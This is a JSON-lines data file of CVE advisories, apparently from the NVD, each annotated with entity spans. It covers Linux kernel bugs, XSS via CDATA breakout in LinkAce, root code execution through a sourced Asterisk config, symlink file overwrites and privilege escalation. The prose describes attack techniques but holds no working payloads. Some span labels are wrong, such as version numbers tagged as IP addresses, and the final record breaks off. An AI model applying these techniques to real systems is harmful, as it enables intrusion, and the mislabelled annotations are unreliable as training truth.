{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/efistub: Call mixed mode boot services on the firmware's stack\n\nNormally, the EFI stub calls into the EFI boot services using the stack\nthat was live when the stub was entered. According to the UEFI spec,\nthis stack needs to be at least 128k in size - this might seem large but\nall asynchronous processing and event handling in EFI runs from the same\nstack and so quite a lot of space may be used in practice.\n\nIn mixed mode, the situation is a bit different: the bootloader calls\nthe 32-bit EFI stub entry point, which calls the decompressor's 32-bit\nentry point, where the boot stack is set up, using a fixed allocation\nof 16k. This stack is still in use when the EFI stub is started in\n64-bit mode, and so all calls back into the EFI firmware will be using\nthe decompressor's limited boot stack.\n\nDue to the placement of the boot stack right after the boot heap, any\nstack overruns have gone unnoticed. However, commit\n\n  5c4feadb0011983b (\"x86/decompressor: Move global symbol references to C code\")\n\nmoved the definition of the boot heap into C code, and now the boot\nstack is placed right at the base of BSS, where any overruns will\ncorrupt the end of the .data section.\n\nWhile it would be possible to work around this by increasing the size of\nthe boot stack, doing so would affect all x86 systems, and mixed mode\nsystems are a tiny (and shrinking) fraction of the x86 installed base.\n\nSo instead, record the firmware stack pointer value when entering from\nthe 32-bit firmware, and switch to this stack every time a EFI boot\nservice call is made.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35803"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlib/alloc_tag: do not acquire non-existent lock in alloc_tag_top_users()\n\nalloc_tag_top_users() attempts to lock alloc_tag_cttype->mod_lock even\nwhen the alloc_tag_cttype is not allocated because:\n\n  1) alloc tagging is disabled because mem profiling is disabled\n     (!alloc_tag_cttype)\n  2) alloc tagging is enabled, but not yet initialized (!alloc_tag_cttype)\n  3) alloc tagging is enabled, but failed initialization\n     (!alloc_tag_cttype or IS_ERR(alloc_tag_cttype))\n\nIn all cases, alloc_tag_cttype is not allocated, and therefore\nalloc_tag_top_users() should not attempt to acquire the semaphore.\n\nThis leads to a crash on memory allocation failure by attempting to\nacquire a non-existent semaphore:\n\n  Oops: general protection fault, probably for non-canonical address 0xdffffc000000001b: 0000 [#3] SMP KASAN NOPTI\n  KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df]\n  CPU: 2 UID: 0 PID: 1 Comm: systemd Tainted: G      D             6.16.0-rc2 #1 VOLUNTARY\n  Tainted: [D]=DIE\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\n  RIP: 0010:down_read_trylock+0xaa/0x3b0\n  Code: d0 7c 08 84 d2 0f 85 a0 02 00 00 8b 0d df 31 dd 04 85 c9 75 29 48 b8 00 00 00 00 00 fc ff df 48 8d 6b 68 48 89 ea 48 c1 ea 03 <80> 3c 02 00 0f 85 88 02 00 00 48 3b 5b 68 0f 85 53 01 00 00 65 ff\n  RSP: 0000:ffff8881002ce9b8 EFLAGS: 00010016\n  RAX: dffffc0000000000 RBX: 0000000000000070 RCX: 0000000000000000\n  RDX: 000000000000001b RSI: 000000000000000a RDI: 0000000000000070\n  RBP: 00000000000000d8 R08: 0000000000000001 R09: ffffed107dde49d1\n  R10: ffff8883eef24e8b R11: ffff8881002cec20 R12: 1ffff11020059d37\n  R13: 00000000003fff7b R14: ffff8881002cec20 R15: dffffc0000000000\n  FS:  00007f963f21d940(0000) GS:ffff888458ca6000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f963f5edf71 CR3: 000000010672c000 CR4: 0000000000350ef0\n  Call Trace:\n   <TASK>\n   codetag_trylock_module_list+0xd/0x20\n   alloc_tag_top_users+0x369/0x4b0\n   __show_mem+0x1cd/0x6e0\n   warn_alloc+0x2b1/0x390\n   __alloc_frozen_pages_noprof+0x12b9/0x21a0\n   alloc_pages_mpol+0x135/0x3e0\n   alloc_slab_page+0x82/0xe0\n   new_slab+0x212/0x240\n   ___slab_alloc+0x82a/0xe00\n   </TASK>\n\nAs David Wang points out, this issue became easier to trigger after commit\n780138b12381 (\"alloc_tag: check mem_profiling_support in alloc_tag_init\").\n\nBefore the commit, the issue occurred only when it failed to allocate and\ninitialize alloc_tag_cttype or if a memory allocation fails before\nalloc_tag_init() is called.  After the commit, it can be easily triggered\nwhen memory profiling is compiled but disabled at boot.\n\nTo properly determine whether alloc_tag_init() has been called and its\ndata structures initialized, verify that alloc_tag_cttype is a valid\npointer before acquiring the semaphore.  If the variable is NULL or an\nerror value, it has not been properly initialized.  In such a case, just\nskip and do not attempt to acquire the semaphore.\n\n[harry.yoo@oracle.com: v3]", "spans": {"DOMAIN: oracle.com": [[3090, 3100]], "FILEPATH: /01/2014": [[1162, 1170]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[994, 1001]], "SYSTEM: QEMU": [[1092, 1096]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38517"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to clear dirty inode in f2fs_evict_inode()\n\nAs Yanming reported in bugzilla:\n\nhttps://bugzilla.kernel.org/show_bug.cgi?id=215904\n\nThe kernel message is shown below:\n\nkernel BUG at fs/f2fs/inode.c:825!\nCall Trace:\n evict+0x282/0x4e0\n __dentry_kill+0x2b2/0x4d0\n shrink_dentry_list+0x17c/0x4f0\n shrink_dcache_parent+0x143/0x1e0\n do_one_tree+0x9/0x30\n shrink_dcache_for_umount+0x51/0x120\n generic_shutdown_super+0x5c/0x3a0\n kill_block_super+0x90/0xd0\n kill_f2fs_super+0x225/0x310\n deactivate_locked_super+0x78/0xc0\n cleanup_mnt+0x2b7/0x480\n task_work_run+0xc8/0x150\n exit_to_user_mode_prepare+0x14a/0x150\n syscall_exit_to_user_mode+0x1d/0x40\n do_syscall_64+0x48/0x90\n\nThe root cause is: inode node and dnode node share the same nid,\nso during f2fs_evict_inode(), dnode node truncation will invalidate\nits NAT entry, so when truncating inode node, it fails due to\ninvalid NAT entry, result in inode is still marked as dirty, fix\nthis issue by clearing dirty for inode and setting SBI_NEED_FSCK\nflag in filesystem.\n\noutput from dump.f2fs:\n[print_node_info: 354] Node ID [0xf:15] is inode\ni_nid[0]                      \t\t[0x       f : 15]", "spans": {"URL: https://bugzilla.kernel.org/show_bug.cgi?id=215904": [[157, 207]], "FILEPATH: /f2fs/inode.c": [[261, 274]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49364"}}
{"text": "Snappymail is an open source web-based email client. SnappyMail uses the `cleanHtml()` function to cleanup HTML and CSS in emails. Research discovered that the function has a few bugs which cause an mXSS exploit. Because the function allowed too many (invalid) HTML elements, it was possible (with incorrect markup) to trick the browser to \"fix\" the broken markup into valid markup. As a result a motivated attacker may be able to inject javascript. However, due to the default Content Security Policy the impact of the exploit is minimal. It could be possible to create an attack which leaks some data when loading images through the proxy.\nThis way it might be possible to use the proxy to attack the local system, like with `http://localhost:5000/leak`. Another attack could be to load a JavaScript attachment of the email. This is very tricky as the email must link to every possible UID as each email has a unique UID which has a value between 1 and 18446744073709551615 **v2.38.0** and up now remove unsupported HTML elements which mitigates the issue. Users are advised to upgrade. Older versions can install an extension named \"Security mXSS\" as a mitigation. This will be available at the administration area at `/?admin#/packages`. **NOTE:** this extension can not \"fix\" malicious code in encrypted messages or (html) attachments as it can't manipulate the JavaScript code for this. It only protects normal message HTML.", "spans": {"URL: http://localhost:5000/leak`.": [[728, 756]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45800"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/core: Fix refcount bug and potential UAF in perf_mmap\n\nSyzkaller reported a refcount_t: addition on 0; use-after-free warning\nin perf_mmap.\n\nThe issue is caused by a race condition between a failing mmap() setup\nand a concurrent mmap() on a dependent event (e.g., using output\nredirection).\n\nIn perf_mmap(), the ring_buffer (rb) is allocated and assigned to\nevent->rb with the mmap_mutex held. The mutex is then released to\nperform map_range().\n\nIf map_range() fails, perf_mmap_close() is called to clean up.\nHowever, since the mutex was dropped, another thread attaching to\nthis event (via inherited events or output redirection) can acquire\nthe mutex, observe the valid event->rb pointer, and attempt to\nincrement its reference count. If the cleanup path has already\ndropped the reference count to zero, this results in a\nuse-after-free or refcount saturation warning.\n\nFix this by extending the scope of mmap_mutex to cover the\nmap_range() call. This ensures that the ring buffer initialization\nand mapping (or cleanup on failure) happens atomically effectively,\npreventing other threads from accessing a half-initialized or\ndying ring buffer.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[177, 191], [898, 912]], "VULNERABILITY: race condition": [[240, 254]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23248"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86/pmu: Disable support for adaptive PEBS\n\nDrop support for virtualizing adaptive PEBS, as KVM's implementation is\narchitecturally broken without an obvious/easy path forward, and because\nexposing adaptive PEBS can leak host LBRs to the guest, i.e. can leak\nhost kernel addresses to the guest.\n\nBug #1 is that KVM doesn't account for the upper 32 bits of\nIA32_FIXED_CTR_CTRL when (re)programming fixed counters, e.g\nfixed_ctrl_field() drops the upper bits, reprogram_fixed_counters()\nstores local variables as u8s and truncates the upper bits too, etc.\n\nBug #2 is that, because KVM _always_ sets precise_ip to a non-zero value\nfor PEBS events, perf will _always_ generate an adaptive record, even if\nthe guest requested a basic record.  Note, KVM will also enable adaptive\nPEBS in individual *counter*, even if adaptive PEBS isn't exposed to the\nguest, but this is benign as MSR_PEBS_DATA_CFG is guaranteed to be zero,\ni.e. the guest will only ever see Basic records.\n\nBug #3 is in perf.  intel_pmu_disable_fixed() doesn't clear the upper\nbits either, i.e. leaves ICL_FIXED_0_ADAPTIVE set, and\nintel_pmu_enable_fixed() effectively doesn't clear ICL_FIXED_0_ADAPTIVE\neither.  I.e. perf _always_ enables ADAPTIVE counters, regardless of what\nKVM requests.\n\nBug #4 is that adaptive PEBS *might* effectively bypass event filters set\nby the host, as \"Updated Memory Access Info Group\" records information\nthat might be disallowed by userspace via KVM_SET_PMU_EVENT_FILTER.\n\nBug #5 is that KVM doesn't ensure LBR MSRs hold guest values (or at least\nzeros) when entering a vCPU with adaptive PEBS, which allows the guest\nto read host LBRs, i.e. host RIPs/addresses, by enabling \"LBR Entries\"\nrecords.\n\nDisable adaptive PEBS support as an immediate fix due to the severity of\nthe LBR leak in particular, and because fixing all of the bugs will be\nnon-trivial, e.g. not suitable for backporting to stable kernels.\n\nNote!  This will break live migration, but trying to make KVM play nice\nwith live migration would be quite complicated, wouldn't be guaranteed to\nwork (i.e. KVM might still kill/confuse the guest), and it's not clear\nthat there are any publicly available VMMs that support adaptive PEBS,\nlet alone live migrate VMs that support adaptive PEBS, e.g. QEMU doesn't\nsupport PEBS in any capacity.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[2329, 2333]], "SYSTEM: KVM": [[69, 72], [166, 169], [385, 388], [653, 656], [818, 821], [1315, 1318], [1559, 1562], [2039, 2042], [2138, 2141]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26992"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: Fix potential null-ptr-deref due to drmm_mode_config_init()\n\ndrmm_mode_config_init() will call drm_mode_create_standard_properties()\nand won't check the ret value. When drm_mode_create_standard_properties()\nfailed due to alloc, property will be a NULL pointer and may causes the\nnull-ptr-deref. Fix the null-ptr-deref by adding the ret value check.\n\nFound null-ptr-deref while testing insert module bochs:\ngeneral protection fault, probably for non-canonical address\n    0xdffffc000000000c: 0000 [#1] SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067]\nCPU: 3 PID: 249 Comm: modprobe Not tainted 6.1.0-rc1+ #364\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org 04/01/2014\nRIP: 0010:drm_object_attach_property+0x73/0x3c0 [drm]\nCall Trace:\n <TASK>\n __drm_connector_init+0xb6c/0x1100 [drm]\n bochs_pci_probe.cold.11+0x4cb/0x7fe [bochs]\n pci_device_probe+0x17d/0x340\n really_probe+0x1db/0x5d0\n __driver_probe_device+0x1e7/0x250\n driver_probe_device+0x4a/0x120\n __driver_attach+0xcd/0x2c0\n bus_for_each_dev+0x11a/0x1b0\n bus_add_driver+0x3d7/0x500\n driver_register+0x18e/0x320\n do_one_initcall+0xc4/0x3e0\n do_init_module+0x1b4/0x630\n load_module+0x5dca/0x7230\n __do_sys_finit_module+0x100/0x170\n do_syscall_64+0x3f/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7ff65af9f839", "spans": {"DOMAIN: rel-1.15.0-0-g2dd4b9b3f840-prebuilt.qemu.org": [[779, 823]], "FILEPATH: /01/2014": [[826, 834]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[734, 738]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50556"}}
{"text": "LinkAce is a self-hosted archive to collect website links. Versions 2.4.2 and below have a Stored Cross-site Scripting vulnerability through the Atom feed endpoint for lists (/lists/feed). An authenticated user can inject a CDATA-breaking payload into a list description that escapes the XML CDATA section, injects a native SVG element into the Atom XML document, and executes arbitrary JavaScript directly in the browser when the feed URL is visited. No RSS reader or additional rendering context is required — the browser's native XML parser processes the injected SVG and fires the onload event handler. This vulnerability exists because the lists feed template outputs list descriptions using Blade's raw syntax ({!! !!}) without sanitization inside a CDATA block. The critical detail is that because the output sits inside <![CDATA[...]]>, an attacker can inject the sequence ]]> to close the CDATA section prematurely, then inject arbitrary XML/SVG elements that the browser parses and executes natively as part of the Atom document. This issue has been fixed in version 2.4.3.", "spans": {"FILEPATH: /lists/feed": [[175, 186]], "VULNERABILITY: Cross-site Scripting": [[98, 118]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27458"}}
{"text": "Vulnerability in the Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Discovery Framework). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager for Oracle Database. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager for Oracle Database accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager for Oracle Database accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager for Oracle Database. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[172, 180]], "IP_ADDRESS: 13.2.0.0": [[182, 190]], "IP_ADDRESS: 13.3.0.0": [[195, 203]], "SYSTEM: Oracle Database": [[44, 59], [336, 351], [494, 509], [616, 631], [750, 765]], "ORGANIZATION: Oracle": [[71, 77]], "VULNERABILITY: denial of service": [[692, 709]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2641"}}
{"text": "Citizen is a MediaWiki skin that makes extensions part of the cohesive experience. Citizen from 3.3.0 to 3.9.0 are vulnerable to stored cross-site scripting in the sticky header button message handling. In stickyHeader.js the copyButtonAttributes function assigns innerHTML from a source element’s textContent when copying button labels. This causes escaped HTML in system message content (such as citizen-share, citizen-view-history, citizen-view-edit, and nstab-talk) to be interpreted as HTML in the sticky header, allowing injection of arbitrary script by a user with the ability to edit interface messages. The vulnerability allows a user with the editinterface right but without the editsitejs right (by default the sysop group has editinterface but may not have editsitejs) to execute arbitrary JavaScript in other users’ sessions, enabling unauthorized access to sensitive data or actions. The issue is fixed in 3.9.0.", "spans": {"FILEPATH: stickyHeader.js": [[206, 221]], "ORGANIZATION: MediaWiki": [[13, 22]], "VULNERABILITY: cross-site scripting": [[136, 156]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62508"}}
{"text": "An Uncontrolled Resource Consumption vulnerability in the handling of IPv6 neighbor state change events in Juniper Networks Junos OS allows an adjacent attacker to cause a memory leak in the Flexible PIC Concentrator (FPC) of an ACX5448 router. The continuous flapping of an IPv6 neighbor with specific timing will cause the FPC to run out of resources, leading to a Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition, requiring a manual PFE restart to restore service. The following error messages will be seen after the FPC resources have been exhausted: fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 This issue only affects the ACX5448 router. No other products or platforms are affected by this vulnerability. This issue affects Juniper Networks Junos OS on ACX5448: 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S8, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.", "spans": {"ORGANIZATION: Juniper": [[107, 114], [1633, 1640]], "VULNERABILITY: Uncontrolled Resource Consumption": [[3, 36]], "VULNERABILITY: Denial of Service": [[367, 384], [494, 511]], "VULNERABILITY: memory leak": [[172, 183]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22155"}}
{"text": "OneFuzz is an open source self-hosted Fuzzing-As-A-Service platform. Starting with OneFuzz 2.12.0 or greater, an incomplete authorization check allows an authenticated user from any Azure Active Directory tenant to make authorized API calls to a vulnerable OneFuzz instance. To be vulnerable, a OneFuzz deployment must be both version 2.12.0 or greater and deployed with the non-default --multi_tenant_domain option. This can result in read/write access to private data such as software vulnerability and crash information, security testing tools and proprietary code and symbols. Via authorized API calls, this also enables tampering with existing data and unauthorized code execution on Azure compute resources. This issue is resolved starting in release 2.31.0, via the addition of application-level check of the bearer token's `issuer` against an administrator-configured allowlist. As a workaround users can restrict access to the tenant of a deployed OneFuzz instance < 2.31.0 by redeploying in the default configuration, which omits the `--multi_tenant_domain` option.", "spans": {"VULNERABILITY: code execution": [[671, 685]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37705"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP).  Supported versions that are affected are Oracle Java SE: 8u481, 8u481-b50, 8u481-perf, 11.0.30, 17.0.18, 21.0.10, 25.0.2, 26; Oracle GraalVM for JDK: 17.0.18 and  21.0.10; Oracle GraalVM Enterprise Edition: 21.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [189, 193], [486, 490], [681, 685], [945, 949], [1002, 1006], [1043, 1047], [1148, 1152]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [182, 188], [267, 273], [313, 319], [479, 485], [495, 501], [519, 525], [674, 680], [690, 696], [714, 720]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22016"}}
{"text": "Three vulnerabilities in the CLI of Cisco TelePresence CE and RoomOS could allow an authenticated, local attacker to overwrite arbitrary files on the local file system of an affected device.\r\n\r\nThese vulnerabilities are due to improper access controls on files that are on the local file system. An attacker could exploit these vulnerabilities by placing a symbolic link in a specific location on the local file system of an affected device. A successful exploit could allow the attacker to overwrite arbitrary files on the affected device. To exploit these vulnerabilities, an attacker would need to have a remote support user account.\r\nNote: CVE-2023-20092 does not affect Cisco DX70, DX80, TelePresence MX Series, or TelePresence SX Series devices.\r\nCisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities.", "spans": {"CVE_ID: CVE-2023-20092": [[644, 658]], "ORGANIZATION: Cisco": [[36, 41], [675, 680], [753, 758]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-20004"}}
{"text": "Asterisk is an open source private branch exchange and telephony toolkit. Prior to versions 20.7-cert9, 20.18.2, 21.12.1, 22.8.2, and 23.2.2, the asterisk/contrib/scripts/ast_coredumper runs as root, as noted by the NOTES tag on line 689 of the ast_coredumper file. The script will source the contents of /etc/asterisk/ast_debug_tools.conf, which resides in a folder that is writeable by the asterisk user:group. Due to the /etc/asterisk/ast_debug_tools.conf file following bash semantics and it being loaded; an attacker with write permissions may add or modify the file such that when the root ast_coredumper is run; it would source and thereby execute arbitrary bash code found in the /etc/asterisk/ast_debug_tools.conf. This issue has been patched in versions 20.7-cert9, 20.18.2, 21.12.1, 22.8.2, and 23.2.2.", "spans": {"FILEPATH: /contrib/scripts/ast_coredumper": [[154, 185]], "FILEPATH: /etc/asterisk/ast_debug_tools.conf": [[305, 339], [424, 458]], "FILEPATH: /etc/asterisk/ast_debug_tools.conf.": [[688, 723]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23741"}}
{"text": "A privilege escalation vulnerability exists in Apache CloudStack versions 4.10.0.0 through 4.20.0.0 where a malicious Domain Admin user in the ROOT domain can reset the password of user-accounts of Admin role type. This operation is not appropriately restricted and allows the attacker to assume control over higher-privileged user-accounts. A malicious Domain Admin attacker can impersonate an Admin user-account and gain access to sensitive APIs and resources that could result in the compromise of resource integrity and confidentiality, data loss, denial of service, and availability of infrastructure managed by CloudStack.\n\n\n\nUsers are recommended to upgrade to Apache CloudStack 4.19.3.0 or 4.20.1.0, which fixes the issue with the following:\n  *  Strict validation on Role Type hierarchy: the caller's user-account role must be equal to or higher than the target user-account's role.\n  *  API privilege comparison: the caller must possess all privileges of the user they are operating on. \n  *  Two new domain-level settings (restricted to the default Admin): \n - role.types.allowed.for.operations.on.accounts.of.same.role.type: Defines which role types are allowed to act on users of the same role type. Default: \"Admin, DomainAdmin, ResourceAdmin\". \n   - allow.operations.on.users.in.same.account: Allows/disallows user operations within the same account. Default: true.", "spans": {"IP_ADDRESS: 4.10.0.0": [[74, 82]], "IP_ADDRESS: 4.20.0.0": [[91, 99]], "IP_ADDRESS: 4.19.3.0": [[686, 694]], "IP_ADDRESS: 4.20.1.0": [[698, 706]], "ORGANIZATION: Apache": [[47, 53], [668, 674]], "VULNERABILITY: privilege escalation": [[2, 22]], "VULNERABILITY: denial of service": [[552, 569]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-47713"}}
{"text": "yt-grabber-tui is a C++ terminal user interface application for downloading YouTube content. yt-grabber-tui version 1.0 contains a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the creation of the default configuration file config.json. In version 1.0, load_json_settings in Settings.hpp checks for the existence of config.json using boost::filesystem::exists and, if the file is missing, calls create_json_settings which writes the JSON configuration with boost::property_tree::write_json. A local attacker with write access to the application’s configuration directory (~/.config/yt-grabber-tui on Linux or the current working directory on Windows) can create a symbolic link between the existence check and the subsequent write so that the write operation follows the symlink and overwrites an attacker-chosen file accessible to the running process. This enables arbitrary file overwrite within the privileges of the application process, which can corrupt files and cause loss of application or user data. If the application is executed with elevated privileges, this could extend to system file corruption. The issue is fixed in version 1.0.1.", "spans": {"FILEPATH: /.config/yt-grabber-tui": [[593, 616]], "FILEPATH: config.json": [[244, 255], [336, 347]], "SYSTEM: Windows": [[662, 669]], "SYSTEM: Linux": [[620, 625]], "VULNERABILITY: race condition": [[169, 183]], "VULNERABILITY: symlink": [[791, 798]], "VULNERABILITY: TOCTOU": [[161, 167]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62511"}}
{"text": "OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, OpenBao's Certificate authentication method, when a token renewal is requested and `disable_binding=true` is set, attempts to verify the current request's presented mTLS certificate matches the original. Token renewals for other authentication methods do not require any supplied login information. Due to incorrect matching, the certificate authentication method would allow renewal of tokens for which the attacker had a sibling certificate+key signed by the same CA, but which did not necessarily match the original role or the originally supplied certificate. This implies an attacker could still authenticate to OpenBao in a similar scope, however, token renewal implies that an attacker may be able to extend the lifetime of dynamic leases held by the original token. This attack requires knowledge of either the original token or its accessor. This vulnerability is original from HashiCorp Vault. This is addressed in v2.5.3. As a workaround, ensure privileged roles are tightly scoped to single certificates.", "spans": {"ORGANIZATION: HashiCorp": [[979, 988]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39388"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Swing). Supported versions that are affected are Java SE: 7u311, 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [151, 155], [363, 367], [537, 541], [617, 621], [674, 678], [715, 719], [820, 824]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [187, 193], [372, 378], [546, 552]], "VULNERABILITY: denial of service": [[502, 519]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35559"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: Fix nsfd startup race (again)\n\nCommit bd5ae9288d64 (\"nfsd: register pernet ops last, unregister first\")\nhas re-opened rpc_pipefs_event() race against nfsd_net_id registration\n(register_pernet_subsys()) which has been fixed by commit bb7ffbf29e76\n(\"nfsd: fix nsfd startup race triggering BUG_ON\").\n\nRestore the order of register_pernet_subsys() vs register_cld_notifier().\nAdd WARN_ON() to prevent a future regression.\n\nCrash info:\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000012\nCPU: 8 PID: 345 Comm: mount Not tainted 5.4.144-... #1\npc : rpc_pipefs_event+0x54/0x120 [nfsd]\nlr : rpc_pipefs_event+0x48/0x120 [nfsd]\nCall trace:\n rpc_pipefs_event+0x54/0x120 [nfsd]\n blocking_notifier_call_chain\n rpc_fill_super\n get_tree_keyed\n rpc_fs_get_tree\n vfs_get_tree\n do_mount\n ksys_mount\n __arm64_sys_mount\n el0_svc_handler\n el0_svc", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[530, 554]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47507"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix panic due to wrong pageattr of im->image\n\nIn the scenario where livepatch and kretfunc coexist, the pageattr of\nim->image is rox after arch_prepare_bpf_trampoline in\nbpf_trampoline_update, and then modify_fentry or register_fentry returns\n-EAGAIN from bpf_tramp_ftrace_ops_func, the BPF_TRAMP_F_ORIG_STACK flag\nwill be configured, and arch_prepare_bpf_trampoline will be re-executed.\n\nAt this time, because the pageattr of im->image is rox,\narch_prepare_bpf_trampoline will read and write im->image, which causes\na fault. as follows:\n\n  insmod livepatch-sample.ko    # samples/livepatch/livepatch-sample.c\n  bpftrace -e 'kretfunc:cmdline_proc_show {}'\n\nBUG: unable to handle page fault for address: ffffffffa0206000\nPGD 322d067 P4D 322d067 PUD 322e063 PMD 1297e067 PTE d428061\nOops: 0003 [#1] PREEMPT SMP PTI\nCPU: 2 PID: 270 Comm: bpftrace Tainted: G            E K    6.1.0 #5\nRIP: 0010:arch_prepare_bpf_trampoline+0xed/0x8c0\nRSP: 0018:ffffc90001083ad8 EFLAGS: 00010202\nRAX: ffffffffa0206000 RBX: 0000000000000020 RCX: 0000000000000000\nRDX: ffffffffa0206001 RSI: ffffffffa0206000 RDI: 0000000000000030\nRBP: ffffc90001083b70 R08: 0000000000000066 R09: ffff88800f51b400\nR10: 000000002e72c6e5 R11: 00000000d0a15080 R12: ffff8880110a68c8\nR13: 0000000000000000 R14: ffff88800f51b400 R15: 